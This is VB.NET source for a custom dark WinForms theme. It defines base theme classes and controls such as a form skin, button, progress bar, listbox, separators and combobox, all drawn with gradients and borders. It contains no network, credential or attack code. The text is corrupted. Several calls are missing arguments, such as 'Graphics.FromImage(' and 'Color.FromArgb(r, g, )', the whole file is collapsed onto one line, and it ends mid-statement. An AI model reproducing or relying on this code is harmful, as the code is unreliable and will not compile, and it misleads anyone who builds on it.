io.kent

Imports System.Drawing.Drawing2D Imports System.ComponentModel Imports System.Runtime.InteropServices MustInherit Class Theme Inherits ContainerControl #Region " Initialization " Protected G As Graphics Sub New() SetStyle(DirectCast(139270, ControlStyles), True) End Sub Private ParentIsForm As Boolean Protected Overrides Sub OnHandleCreated(ByVal e As EventArgs) Dock = DockStyle.Fill ParentIsForm = TypeOf Parent Is Form If ParentIsForm Then If Not _TransparencyKey = Color.Empty Then ParentForm.TransparencyKey = _TransparencyKey ParentForm.FormBorderStyle = FormBorderStyle.None End If MyBase.OnHandleCreated(e) End Sub Overrides Property Text() As String Get Return MyBase.Text End Get Set(ByVal v As String) MyBase.Text = v Invalidate() End Set End Property #End Region #Region " Sizing and Movement " Private _Resizable As Boolean = True Property Resizable() As Boolean Get Return _Resizable End Get Set(ByVal value As Boolean) _Resizable = value End Set End Property Private _MoveHeight As Integer = 24 Property MoveHeight() As Integer Get Return _MoveHeight End Get Set(ByVal v As Integer) _MoveHeight = v Header = New Rectangle(7, 7, Width - 14, _MoveHeight - 7) End Set End Property Private Flag As IntPtr Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) If Not e.Button = MouseButtons.Left Then Return If ParentIsForm Then If ParentForm.WindowState = FormWindowState.Maximized Then Return If Header.Contains(e.Location) Then Flag = New IntPtr(2) ElseIf Current.Position = 0 Or Not _Resizable Then Return Else Flag = New IntPtr(Current.Position) End If Capture = False DefWndProc(Message.Create(Parent.Handle, 161, Flag, Nothing)) MyBase.OnMouseDown(e) End Sub Private Structure Pointer ReadOnly Cursor As Cursor, Position As Byte Sub New(ByVal c As Cursor, ByVal p As Byte) Cursor = c Position = p End Sub End Structure Private F1, F2, F3, F4 As Boolean, PTC As Point Private Function GetPointer() As Pointer PTC = PointToClient(MousePosition) F1 = PTC.X < 7 F2 = PTC.X > Width - 7 F3 = PTC.Y < 7 F4 = PTC.Y > Height - 7 If F1 And F3 Then Return New Pointer(Cursors.SizeNWSE, 13) If F1 And F4 Then Return New Pointer(Cursors.SizeNESW, 16) If F2 And F3 Then Return New Pointer(Cursors.SizeNESW, 14) If F2 And F4 Then Return New Pointer(Cursors.SizeNWSE, 17) If F1 Then Return New Pointer(Cursors.SizeWE, 10) If F2 Then Return New Pointer(Cursors.SizeWE, 11) If F3 Then Return New Pointer(Cursors.SizeNS, 12) If F4 Then Return New Pointer(Cursors.SizeNS, 15) Return New Pointer(Cursors.Default, 0) End Function Private Current, Pending As Pointer Private Sub SetCurrent() Pending = GetPointer() If Current.Position = Pending.Position Then Return Current = GetPointer() Cursor = Current.Cursor End Sub Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) If _Resizable Then SetCurrent() MyBase.OnMouseMove(e) End Sub Protected Header As Rectangle Protected Overrides Sub OnSizeChanged(ByVal e As EventArgs) If Width = 0 OrElse Height = 0 Then Return Header = New Rectangle(7, 7, Width - 14, _MoveHeight - 7) Invalidate() MyBase.OnSizeChanged(e) End Sub #End Region #Region " Convienence " MustOverride Sub PaintHook() Protected NotOverridable Overrides Sub OnPaint(ByVal e As PaintEventArgs) If Width = 0 OrElse Height = 0 Then Return G = e.Graphics PaintHook() End Sub Private _TransparencyKey As Color Property TransparencyKey() As Color Get Return _TransparencyKey End Get Set(ByVal v As Color) _TransparencyKey = v Invalidate() End Set End Property Private _Image As Image Property Image() As Image Get Return _Image End Get Set(ByVal value As Image) _Image = value Invalidate() End Set End Property ReadOnly Property ImageWidth() As Integer Get If _Image Is Nothing Then Return 0 Return _Image.Width End Get End Property Private _Size As Size Private _Rectangle As Rectangle Private _Gradient As LinearGradientBrush Private _Brush As SolidBrush Protected Sub DrawCorners(ByVal c As Color, ByVal rect As Rectangle) _Brush = New SolidBrush(c) G.FillRectangle(_Brush, rect.X, rect.Y, 1, 1) G.FillRectangle(_Brush, rect.X + (rect.Width - 1), rect.Y, 1, 1) G.FillRectangle(_Brush, rect.X, rect.Y + (rect.Height - 1), 1, 1) G.FillRectangle(_Brush, rect.X + (rect.Width - 1), rect.Y + (rect.Height - 1), 1, 1) End Sub Protected Sub DrawBorders(ByVal p1 As Pen, ByVal p2 As Pen, ByVal rect As Rectangle) G.DrawRectangle(p1, rect.X, rect.Y, rect.Width - 1, rect.Height - 1) G.DrawRectangle(p2, rect.X + 1, rect.Y + 1, rect.Width - 3, rect.Height - 3) End Sub Protected Sub DrawText(ByVal a As HorizontalAlignment, ByVal c As Color, ByVal x As Integer) DrawText(a, c, x, 0) End Sub Protected Sub DrawText(ByVal a As HorizontalAlignment, ByVal c As Color, ByVal x As Integer, ByVal y As Integer) If String.IsNullOrEmpty(Text) Then Return _Size = G.MeasureString(Text, Font).ToSize _Brush = New SolidBrush(c) Select Case a Case HorizontalAlignment.Left G.DrawString(Text, Font, _Brush, x, _MoveHeight \ 2 - _Size.Height \ 2 + y) Case HorizontalAlignment.Right G.DrawString(Text, Font, _Brush, Width - _Size.Width - x, _MoveHeight \ 2 - _Size.Height \ 2 + y) Case HorizontalAlignment.Center G.DrawString(Text, Font, _Brush, Width \ 2 - _Size.Width \ 2 + x, _MoveHeight \ 2 - _Size.Height \ 2 + y) End Select End Sub Protected Sub DrawIcon(ByVal a As HorizontalAlignment, ByVal x As Integer) DrawIcon(a, x, 0) End Sub Protected Sub DrawIcon(ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) If _Image Is Nothing Then Return Select Case a Case HorizontalAlignment.Left G.DrawImage(_Image, x, _MoveHeight \ 2 - _Image.Height \ 2 + y) Case HorizontalAlignment.Right G.DrawImage(_Image, Width - _Image.Width - x, _MoveHeight \ 2 - _Image.Height \ 2 + y) Case HorizontalAlignment.Center G.DrawImage(_Image, Width \ 2 - _Image.Width \ 2, _MoveHeight \ 2 - _Image.Height \ 2) End Select End Sub Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) _Rectangle = New Rectangle(x, y, width, height) _Gradient = New LinearGradientBrush(_Rectangle, c1, c2, angle) G.FillRectangle(_Gradient, _Rectangle) End Sub #End Region End Class MustInherit Class ThemeControl Inherits Control Private Items As New Dictionary(Of String, Color) #Region " Initialization " Public Const UITypeEditor As String = "System.Drawing.Design.UITypeEditor, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" Public Const MultilineEditor As String = "System.ComponentModel.Design.MultilineStringEditor, System.Design, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" Protected G As Graphics, B As Bitmap Sub New() SetStyle(DirectCast(139270, ControlStyles), True) B = New Bitmap(1, 1) G = Graphics.FromImage( End Sub Sub AllowTransparent() SetStyle(ControlStyles.Opaque, False) SetStyle(ControlStyles.SupportsTransparentBackColor, True) End Sub Overrides Property Text() As String Get Return MyBase.Text End Get Set(ByVal v As String) MyBase.Text = v Invalidate() End Set End Property #End Region #Region " Mouse Handling " Protected Enum State As Byte MouseNone = 0 MouseOver = 1 MouseDown = 2 End Enum Protected MouseState As State Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) ChangeMouseState(State.MouseNone) MyBase.OnMouseLeave(e) End Sub Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) ChangeMouseState(State.MouseOver) MyBase.OnMouseEnter(e) End Sub Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) ChangeMouseState(State.MouseOver) MyBase.OnMouseUp(e) End Sub Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) If e.Button = MouseButtons.Left Then ChangeMouseState(State.MouseDown) MyBase.OnMouseDown(e) End Sub Protected Function GetColor(ByVal name As String) As Color Return Items(name) End Function Protected Sub SetColor(ByVal name As String, ByVal color As Color) If Items.ContainsKey(name) Then Items(name) = color Else Items.Add(name, color) End Sub Protected Sub SetColor(ByVal name As String, ByVal r As Byte, ByVal g As Byte, ByVal b As Byte) SetColor(name, Color.FromArgb(r, g, ) End Sub Protected Sub SetColor(ByVal name As String, ByVal a As Byte, ByVal r As Byte, ByVal g As Byte, ByVal b As Byte) SetColor(name, Color.FromArgb(a, r, g, ) End Sub Protected Sub SetColor(ByVal name As String, ByVal a As Byte, ByVal color As Color) SetColor(name, color.FromArgb(a, color)) End Sub Private Sub ChangeMouseState(ByVal e As State) MouseState = e Invalidate() End Sub #End Region #Region " Convienence " MustOverride Sub PaintHook() Protected NotOverridable Overrides Sub OnPaint(ByVal e As PaintEventArgs) If Width = 0 OrElse Height = 0 Then Return PaintHook() e.Graphics.DrawImage(B, 0, 0) End Sub Protected Overrides Sub OnSizeChanged(ByVal e As EventArgs) If Not Width = 0 AndAlso Not Height = 0 Then B = New Bitmap(Width, Height) G = Graphics.FromImage( Invalidate() End If MyBase.OnSizeChanged(e) End Sub Private _NoRounding As Boolean Property NoRounding() As Boolean Get Return _NoRounding End Get Set(ByVal v As Boolean) _NoRounding = v Invalidate() End Set End Property Private _Image As Image Property Image() As Image Get Return _Image End Get Set(ByVal value As Image) _Image = value Invalidate() End Set End Property ReadOnly Property ImageWidth() As Integer Get If _Image Is Nothing Then Return 0 Return _Image.Width End Get End Property ReadOnly Property ImageTop() As Integer Get If _Image Is Nothing Then Return 0 Return Height \ 2 - _Image.Height \ 2 End Get End Property Private _Size As Size Private _Rectangle As Rectangle Private _Gradient As LinearGradientBrush Private _Brush As SolidBrush Protected Sub DrawCorners(ByVal c As Color, ByVal rect As Rectangle) If _NoRounding Then Return B.SetPixel(rect.X, rect.Y, c) B.SetPixel(rect.X + (rect.Width - 1), rect.Y, c) B.SetPixel(rect.X, rect.Y + (rect.Height - 1), c) B.SetPixel(rect.X + (rect.Width - 1), rect.Y + (rect.Height - 1), c) End Sub Protected Sub DrawBorders(ByVal p1 As Pen, ByVal p2 As Pen, ByVal rect As Rectangle) G.DrawRectangle(p1, rect.X, rect.Y, rect.Width - 1, rect.Height - 1) G.DrawRectangle(p2, rect.X + 1, rect.Y + 1, rect.Width - 3, rect.Height - 3) End Sub Protected Sub DrawText(ByVal a As HorizontalAlignment, ByVal c As Color, ByVal x As Integer) DrawText(a, c, x, 0) End Sub Protected Sub DrawText(ByVal a As HorizontalAlignment, ByVal c As Color, ByVal x As Integer, ByVal y As Integer) If String.IsNullOrEmpty(Text) Then Return _Size = G.MeasureString(Text, Font).ToSize _Brush = New SolidBrush(c) Select Case a Case HorizontalAlignment.Left G.DrawString(Text, Font, _Brush, x, Height \ 2 - _Size.Height \ 2 + y) Case HorizontalAlignment.Right G.DrawString(Text, Font, _Brush, Width - _Size.Width - x, Height \ 2 - _Size.Height \ 2 + y) Case HorizontalAlignment.Center G.DrawString(Text, Font, _Brush, Width \ 2 - _Size.Width \ 2 + x, Height \ 2 - _Size.Height \ 2 + y) End Select End Sub Protected Sub DrawIcon(ByVal a As HorizontalAlignment, ByVal x As Integer) DrawIcon(a, x, 0) End Sub Protected Sub DrawIcon(ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) If _Image Is Nothing Then Return Select Case a Case HorizontalAlignment.Left G.DrawImage(_Image, x, Height \ 2 - _Image.Height \ 2 + y) Case HorizontalAlignment.Right G.DrawImage(_Image, Width - _Image.Width - x, Height \ 2 - _Image.Height \ 2 + y) Case HorizontalAlignment.Center G.DrawImage(_Image, Width \ 2 - _Image.Width \ 2, Height \ 2 - _Image.Height \ 2) End Select End Sub Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) _Rectangle = New Rectangle(x, y, width - 2, height) _Gradient = New LinearGradientBrush(_Rectangle, c1, c2, angle) G.FillRectangle(_Gradient, _Rectangle) End Sub #End Region End Class MustInherit Class ThemeContainerControl Inherits ContainerControl #Region " Initialization " Protected G As Graphics, B As Bitmap Sub New() SetStyle(DirectCast(139270, ControlStyles), True) B = New Bitmap(1, 1) G = Graphics.FromImage( End Sub Sub AllowTransparent() SetStyle(ControlStyles.Opaque, False) SetStyle(ControlStyles.SupportsTransparentBackColor, True) End Sub #End Region #Region " Convienence " MustOverride Sub PaintHook() Protected NotOverridable Overrides Sub OnPaint(ByVal e As PaintEventArgs) If Width = 0 OrElse Height = 0 Then Return PaintHook() e.Graphics.DrawImage(B, 0, 0) End Sub Protected Overrides Sub OnSizeChanged(ByVal e As EventArgs) If Not Width = 0 AndAlso Not Height = 0 Then B = New Bitmap(Width, Height) G = Graphics.FromImage( Invalidate() End If MyBase.OnSizeChanged(e) End Sub Private _NoRounding As Boolean Property NoRounding() As Boolean Get Return _NoRounding End Get Set(ByVal v As Boolean) _NoRounding = v Invalidate() End Set End Property Private _Rectangle As Rectangle Private _Gradient As LinearGradientBrush Protected Sub DrawCorners(ByVal c As Color, ByVal rect As Rectangle) If _NoRounding Then Return B.SetPixel(rect.X, rect.Y, c) B.SetPixel(rect.X + (rect.Width - 1), rect.Y, c) B.SetPixel(rect.X, rect.Y + (rect.Height - 1), c) B.SetPixel(rect.X + (rect.Width - 1), rect.Y + (rect.Height - 1), c) End Sub Protected Sub DrawBorders(ByVal p1 As Pen, ByVal p2 As Pen, ByVal rect As Rectangle) G.DrawRectangle(p2, rect.X + 1, rect.Y + 1, rect.Width - 3, rect.Height - 3) End Sub Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) _Rectangle = New Rectangle(x, y, width, height) _Gradient = New LinearGradientBrush(_Rectangle, c1, c2, angle) G.FillRectangle(_Gradient, _Rectangle) End Sub #End Region End Class <DefaultEvent("Load")> _ Class NewTheme Inherits Theme Sub New() MoveHeight = 20 TransparencyKey = Color.Fuchsia ForeColor = Color.FromArgb(66, 130, 181) BackColor = Color.FromArgb(40, 40, 40) Dim F As New Font("Verdana", 8S) : Font = F Me.Resizable = True End Sub Event Load() Event Closing() Dim WithEvents Close As New NewMenuButton Dim WithEvents Minimise As New NewMenuButton Dim BGColor As Color = Color.FromArgb(40, 40, 40) : Dim G1 As Color = Color.FromArgb(65, 65, 65) : Dim G2 As Color = Color.FromArgb(30, 30, 30) : Dim F As Color = Color.Fuchsia Dim Seperator As Pen = New Pen(Color.Black) Dim B As Pen = Pens.Black Dim i As New Bitmap(20, 20) Dim j As Icon Dim Bools() As Boolean = New Boolean() {False, True, True, True, True} 'Icon (once), Icon (multi), Load (once), minimise, close Overrides Sub PaintHook() On Error Resume Next G.Clear(BGColor) 'Background If Bools(1) Then j = ParentForm.Icon Bools(0) = True Bools(1) = False End If DrawGradient(G1, G2, 0, 0, Width, 20, 90S) 'Menu Bar G.DrawLine(Seperator, 0, 20, Width, 20) 'Menu bar seperator line If Bools(0) Then Dim a = Graphics.FromImage(i) Dim fh As Rectangle = New Rectangle(0, 0, 20, 20) Dim gr As LinearGradientBrush = New LinearGradientBrush(fh, G1, G2, 90S) a.FillRectangle(gr, fh) a.DrawImage(j.ToBitmap, 0, 0, 18, 18) Bools(0) = False ParentForm.Icon = j End If G.DrawImage(Image.FromHbitmap(i.GetHbitmap), 0, 0) G.DrawRectangle(B, ClientRectangle.X, ClientRectangle.Y, ClientRectangle.Width - 1, ClientRectangle.Height - 1) 'Border DrawCorners(F, ClientRectangle) 'Form corners DrawText(HorizontalAlignment.Left, ForeColor, 20) 'Menu bar's text Parent.Text = Me.Text If Bools(4) Then Close.Show() Close.Size = New Size(20, 20) Close.Location = New Point(Width - 23, 0) Close.Text = "X" Close.Parent = Me Else Close.Hide() End If If Bools(3) Then Minimise.Show() Minimise.Size = New Size(20, 20) Minimise.Location = New Point(Width - 42, 0) Minimise.Text = "_" Minimise.Parent = Me Else Minimise.Hide() End If End Sub Property icon() As Icon Get Return j End Get Set(ByVal value As Icon) j = value Bools(0) = True Invalidate() End Set End Property Property minimisebutton() As Boolean Get Return Bools(3) End Get Set(ByVal value As Boolean) Bools(3) = value Invalidate() End Set End Property Property closebutton() As Boolean Get Return Bools(4) End Get Set(ByVal value As Boolean) Bools(4) = value Invalidate() End Set End Property Private Sub a() Handles Me.Invalidated If Bools(2) Then RaiseEvent Load() Bools(2) = False End If End Sub Private Sub c() Handles Close.Click RaiseEvent Closing() End End Sub Private Sub d() Handles Minimise.Click ParentForm.WindowState = FormWindowState.Minimized End Sub End Class <DefaultEvent("IndexChanged")> _ Class YesNoBar Inherits ThemeControl Event IndexChanged(ByVal sender As Object, ByVal e As EventArgs) Shadows ForeColor As Color = Color.FromArgb(66, 130, 181) Dim _VaL As Boolean = False Property Value() As Boolean Get Return _VaL End Get Set(ByVal value As Boolean) _VaL = value Invalidate() End Set End Property Sub New() AllowTransparent() Dim s As New Size(100, 20) : Size = s : MaximumSize = s : MinimumSize = s End Sub Public Overrides Sub PaintHook() G.Clear(Parent.BackColor) G.FillRectangle(New SolidBrush(Parent.BackColor), 0, 0, Width, Height) G.FillRectangle(Brushes.Lime, 0, 0, CInt(Width / 2), Height) G.FillRectangle(Brushes.Red, CInt(Width / 2), 0, CInt(Width - Width / 2), Height) If _VaL Then G.FillRectangle(New SolidBrush(Color.FromArgb(40, 40, 40)), CInt(Width / 2), 0, CInt(Width - Width / 2) + 2, Height) G.DrawRectangle(New Pen(Color.FromArgb(40, 40, 40)), CInt(Width / 2), 0, CInt(Width - Width / 2), Height) G.DrawString("Music", Font, New SolidBrush(ForeColor), 8, 4) Else G.FillRectangle(New SolidBrush(Color.FromArgb(40, 40, 40)), 0, 0, CInt(Width / 2) + 2, Height) G.DrawRectangle(New Pen(Color.FromArgb(40, 40, 40)), 0, 0, CInt(Width / 2), Height) G.DrawString("Radio", Font, New SolidBrush(ForeColor), 58, 4) End If ' G.DrawRectangle(New Pen(Color.FromArgb(50, 50, 50)), 0, 0, Width - 1, Height - 1) DrawBorders(New Pen(Color.FromArgb(0, 0, 0)), New Pen(Color.FromArgb(0, 0, 0)), New Rectangle(0, 0, Width, Height)) End Sub Private Sub YesNoBar_click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Click _VaL = Not _VaL RaiseEvent IndexChanged(sender, e) End Sub End Class Class NewGroupbox Inherits ThemeContainerControl Public Overrides Sub PaintHook() G.Clear(Color.FromArgb(40, 40, 40)) DrawGradient(Color.FromArgb(65, 65, 65), Color.FromArgb(42, 42, 42), 0, 0, Width, 15, 90S) G.DrawRectangle(New Pen(Color.FromArgb(65, 65, 65)), 0, 0, Width - 1, Height - 1) G.FillRectangle(New SolidBrush(Color.FromArgb(40, 40, 40)), Width - 1, 0, 1, 1) G.FillRectangle(New SolidBrush(Color.FromArgb(40, 40, 40)), 0, Height - 1, 1, 1) G.FillRectangle(New SolidBrush(Color.FromArgb(40, 40, 40)), Width - 1, Height - 1, 1, 1) G.FillRectangle(New SolidBrush(Color.FromArgb(40, 40, 40)), 0, 0, 1, 1) G.DrawString(Text, Parent.Font, New SolidBrush(Parent.ForeColor), 5, 1) BackColor = Color.FromArgb(40, 40, 40) End Sub End Class Class NewButton Inherits ThemeControl Sub New() ForeColor = Color.FromArgb(66, 130, 181) End Sub Dim G1 As Color = Color.FromArgb(50, 50, 50) : Dim G2 As Color = Color.FromArgb(42, 42, 42) : Dim G3 As Color = Color.Gray Dim G4 As Color = Color.FromArgb(17, 89, 119) : Dim Bl As Pen = Pens.Black : Dim G5 As Color = Color.FromArgb(28, 107, 144) Dim N As Color = Color.FromArgb(40, 40, 40) Overrides Sub PaintHook() G.Clear(N) 'Temporary, gradient will cover it If MouseState = State.MouseNone Then 'Draws a gradient depending on the mousestate DrawGradient(G1, G2, 0, 0, Width, Height, 90S) ElseIf MouseState = State.MouseOver Then If Pover Then DrawGradient(G1, G3, 0, 0, Width, Height, 90S) If Not Pover Then DrawGradient(G1, G2, 0, 0, Width, Height, 90S) ElseIf MouseState = State.MouseDown Then DrawGradient(G2, G1, 0, 0, Width, Height, 90S) End If DrawText(HorizontalAlignment.Center, ForeColor, 0) 'Draws the text... G.DrawRectangle(Bl, ClientRectangle.X, ClientRectangle.Y, ClientRectangle.Width - 1, ClientRectangle.Height - 1) 'Border End Sub Private Pover = True Public Property ColorMouseOn() As Boolean Get Return Pover End Get Set(ByVal value As Boolean) Pover = value End Set End Property End Class Class NewProgressBar Inherits ThemeControl Private _Maximum As Integer = 100 Property Maximum() As Integer Get Return _Maximum End Get Set(ByVal v As Integer) If v < 1 Then v = 1 If v < _Value Then _Value = v _Maximum = v Invalidate() End Set End Property Private _Value As Integer Property Value() As Integer Get Return _Value End Get Set(ByVal v As Integer) If v > _Maximum Then v = _Maximum _Value = v Invalidate() End Set End Property Sub New() AllowTransparent() ForeColor = Color.FromArgb(66, 130, 181) End Sub Dim Border As New Pen(Color.Black) : Dim T As Color = Color.Transparent Dim BackClr As Color = Color.FromArgb(30, 30, 30) : Dim UpperColor As New SolidBrush(Color.FromArgb(50, 50, 50)) : Dim LowerColor As New SolidBrush(Color.FromArgb(42, 42, 42)) Overrides Sub PaintHook() G.Clear(BackClr) 'Background color of the control G.FillRectangle(LowerColor, 1, 1, CInt((_Value / _Maximum) * Width), Height - 2) ' \ G.FillRectangle(UpperColor, 1, 1, CInt((_Value / _Maximum) * Width), (Height - 2) \ 2) ' > Draw the colors and the border G.DrawRectangle(Border, 0, 0, Width - 1, Height - 1) ' / DrawText(HorizontalAlignment.Center, ForeColor, 0) 'Text DrawCorners(BackClr, ClientRectangle) 'Corners.. End Sub End Class Class NewListbox : Inherits Control Public WithEvents lstbox As New ListBox Private __Items As String() = {""} Protected Overrides Sub OnPaintBackground(ByVal pevent As System.Windows.Forms.PaintEventArgs) End Sub Protected Overrides Sub OnSizeChanged(ByVal e As System.EventArgs) MyBase.OnSizeChanged(e) lstbox.Size = New Size(Width - 6, Height - 6) Invalidate() End Sub Protected Overrides Sub OnBackColorChanged(ByVal e As System.EventArgs) MyBase.OnBackColorChanged(e) lstbox.BackColor = BackColor Invalidate() End Sub Protected Overrides Sub OnForeColorChanged(ByVal e As System.EventArgs) MyBase.OnForeColorChanged(e) lstbox.ForeColor = ForeColor Invalidate() End Sub Protected Overrides Sub OnFontChanged(ByVal e As System.EventArgs) MyBase.OnFontChanged(e) lstbox.Font = Font End Sub Protected Overrides Sub OnGotFocus(ByVal e As System.EventArgs) MyBase.OnGotFocus(e) lstbox.Focus() End Sub Public Property Items() As String() Get Return __Items Invalidate() End Get Set(ByVal value As String()) __Items = value lstbox.Items.Clear() Invalidate() lstbox.Items.AddRange(value) Invalidate() End Set End Property Public ReadOnly Property SelectedItem() As String Get Return lstbox.SelectedItem End Get End Property Sub DrawItem(ByVal sender As Object, ByVal e As System.Windows.Forms.DrawItemEventArgs) Handles lstbox.DrawItem Try e.DrawBackground() e.Graphics.DrawString(lstbox.Items(e.Index).ToString(), _ e.Font, New SolidBrush(lstbox.ForeColor), e.Bounds, StringFormat.GenericDefault) e.DrawFocusRectangle() Catch End Try End Sub Sub AddRange(ByVal Items As Object()) lstbox.Items.Remove("") lstbox.Items.AddRange(Items) Invalidate() End Sub Sub AddItem(ByVal Item As Object) lstbox.Items.Add(Item) Invalidate() End Sub Sub NewListBox() lstbox.Size = New Size(126, 96) lstbox.BorderStyle = BorderStyle.None lstbox.DrawMode = DrawMode.OwnerDrawVariable lstbox.Location = New Point(4, 4) lstbox.ForeColor = Color.FromArgb(216, 216, 216) lstbox.BackColor = Color.FromArgb(38, 38, 38) lstbox.Items.Clear() End Sub Sub New() MyBase.New() NewListBox() Controls.Add(lstbox) Size = New Size(131, 101) BackColor = Color.FromArgb(38, 38, 38) DoubleBuffered = True End Sub Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs) Dim G As Graphics = e.Graphics MyBase.OnPaint(e) G.Clear(BackColor) G.FillRectangle(New SolidBrush(Color.FromArgb(37, 37, 37)), New Rectangle(1, 1, Width - 2, Height - 2)) G.DrawRectangle((New Pen(New SolidBrush(Color.Black))), New Rectangle(1, 1, Width - 3, Height - 3)) G.DrawRectangle((New Pen(New SolidBrush(Color.FromArgb(70, 70, 70)))), New Rectangle(0, 0, Width - 1, Height - 1)) G.DrawLine(New Pen(New SolidBrush(Color.FromArgb(45, 45, 45))), 0, 0, Width, 0) G.DrawLine(New Pen(New SolidBrush(Color.FromArgb(45, 45, 45))), 0, 0, 0, Height) G.DrawLine(New Pen(New SolidBrush(Color.FromArgb(45, 45, 45))), Width - 1, 0, Width - 1, Height) G.DrawLine(New Pen(New SolidBrush(Color.FromArgb(30, 30, 30))), 2, 2, Width - 3, 2) End Sub End Class Class NewImprovedSeperator Inherits ThemeControl Private _Color1 As Color = Color.FromArgb(66, 130, 181) Public Property Color1() As Color Get Return _Color1 End Get Set(ByVal value As Color) _Color1 = value End Set End Property Private _Color2 As Color = Color.Transparent Public Property Color2() As Color Get Return _Color2 End Get Set(ByVal value As Color) _Color2 = value End Set End Property Sub New() AllowTransparent() BackColor = Color.Transparent Dim S As New Size(150, 10) : Size = S End Sub Overrides Sub PaintHook() G.Clear(BackColor) Dim K As New LinearGradientBrush(New Point(-1, 0), New Point(Width + 2, 0), Color.Empty, Color.Empty) Dim KC As Color() = {Color.Violet, _Color1, Color.Lime} Dim KP As Single() = {0, 0.4, 1} K.InterpolationColors = New ColorBlend With {.Colors = KC, .Positions = KP} G.FillRectangle(K, New Rectangle(0, Height / 2, Width, 2)) End Sub End Class Class NewSeperator Inherits ThemeControl Private _Color1 As Color = Color.FromArgb(66, 130, 181) Public Property Color1() As Color Get Return _Color1 End Get Set(ByVal value As Color) _Color1 = value End Set End Property Private _Color2 As Color = Color.Black Public Property Color2() As Color Get Return _Color2 End Get Set(ByVal value As Color) _Color2 = value End Set End Property Sub New() AllowTransparent() BackColor = Color.Transparent Dim S As New Size(150, 10) : Size = S End Sub Public Overrides Sub PaintHook() G.DrawLine(New Pen(_Color1), 0, Height \ 2, Width, Height \ 2) G.DrawLine(New Pen(_Color2), 0, Height \ 2 + 1, Width, Height \ 2 + 1) End Sub End Class Class NewMenuButton Inherits ThemeControl Sub New() AllowTransparent() ForeColor = Color.White Dim S As New Size(15, 20) : Size = S End Sub Dim Bl As Pen = Pens.Black Dim G1 As Color = Color.FromArgb(65, 65, 65) : Dim G2 As Color = Color.FromArgb(30, 30, 30) Overrides Sub PaintHook() If MouseState = State.MouseNone Then 'Draws a gradient depending on the mousestate DrawGradient(G1, G2, 0, 0, Width, 20, 90S) ElseIf MouseState = State.MouseOver Then DrawGradient(G1, Color.Gray, 0, 0, Width, Height, 90S) ElseIf MouseState = State.MouseDown Then DrawGradient(G2, G1, 0, 0, Width, Height, 90S) End If G.DrawLine(Bl, 0, 0, Width, 0) 'Draw a black line accross the top, matches the theme's border DrawText(HorizontalAlignment.Center, ForeColor, 0) 'Draws text.. End Sub End Class Class NewComboBox : Inherits ComboBox Protected Overrides Sub OnPaintBackground(ByVal pevent As System.Windows.Forms.PaintEventArgs) End Sub Private _StartIndex As Integer = 0 Public Property StartIndex() As Integer Get Return _StartIndex End Get Set(ByVal value As Integer) _StartIndex = value Try MyBase.SelectedIndex = value Catch End Try Invalidate() End Set End Property Sub ReplaceItem(ByVal sender As System.Object, ByVal e As System.Windows.Forms.DrawItemEventArgs) Handles Me.DrawItem e.DrawBackground() Try If (e.State And DrawItemState.Selected) = DrawItemState.Selected Then e.Graphics.FillRectangle(New SolidBrush(Color.FromArgb(37, 37, 37)), e.Bounds) '37 37 37 End If Using b As New SolidBrush(Color.FromArgb(66, 130, 181)) e.Graphics.DrawString(MyBase.GetItemText(MyBase.Items(e.Index)), e.Font, b, e.Bounds) End Using Catch End Try e.DrawFocusRectangle() End Sub Protected Sub DrawTriangle(ByVal Clr As Color, ByVal FirstPoint As Point, ByVal SecondPoint As Point, ByVal ThirdPoint As Point, ByVal G As Graphics) Dim points As New List(Of Point)() points.Add(FirstPoint) points.Add(SecondPoint) points.Add(ThirdPoint) G.FillPolygon(New SolidBrush(Clr), points.ToArray) End Sub Sub New() MyBase.New() SetStyle(ControlStyles.AllPaintingInWmPaint Or _ ControlStyles.ResizeRedraw Or _ ControlStyles.UserPaint Or _ ControlStyles.DoubleBuffer, True) DrawMode = Windows.Forms.DrawMode.OwnerDrawFixed BackColor = Color.FromArgb(45, 45, 45) ForeColor = Color.FromArgb(66, 130, 181) DropDownStyle = ComboBoxStyle.DropDownList DoubleBuffered = True Invalidate() End Sub Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) MyBase.OnPaint(e) Dim G As Graphics = e.Graphics Dim T As LinearGradientBrush = New LinearGradientBrush(New Rectangle(0, 0, Width, 20), Color.FromArgb(50, 50, 50), Color.FromArgb(30, 42, 42, 42), 90S) Dim T2 As LinearGradientBrush = New LinearGradientBrush(New Rectangle(0, 0, Width, 20), Color.FromArgb(50, 50, 50), Color.Gray, 90S) Try With G .SmoothingMode = SmoothingMode.HighQuality .Clear(Color.FromArgb(37, 37, 37)) .FillRectangle(T, New Rectangle(Width - 20, 0, Width, 20)) .DrawLine(Pens.Black, Width - 20, 0, Width - 20, Height) Try '.DrawString(Items(SelectedIndex).ToString, Font, Brushes.White, New Rectangle(New Point(3, 3), New Size(Width - 18, Height))) .DrawString(Text, Font, New SolidBrush(Color.FromArgb(66, 130, 181)), New Rectangle(3, 0, Width - 20, Height), New StringFormat With {.LineAlignment = StringAlignment.Center, .Alignment = StringAlignment.Near}) Catch End Try .DrawLine(New Pen(New SolidBrush(Color.FromArgb(37, 37, 37))), 0, 0, 0, 0) .DrawRectangle(New Pen(New SolidBrush(Color.FromArgb(0, 0, 0))), New Rectangle(1, 1, Width - 3, Height - 3)) .DrawLine(New Pen(New SolidBrush(Color.FromArgb(45, 45, 45))), 0, 0, Width, 0) .DrawLine(New 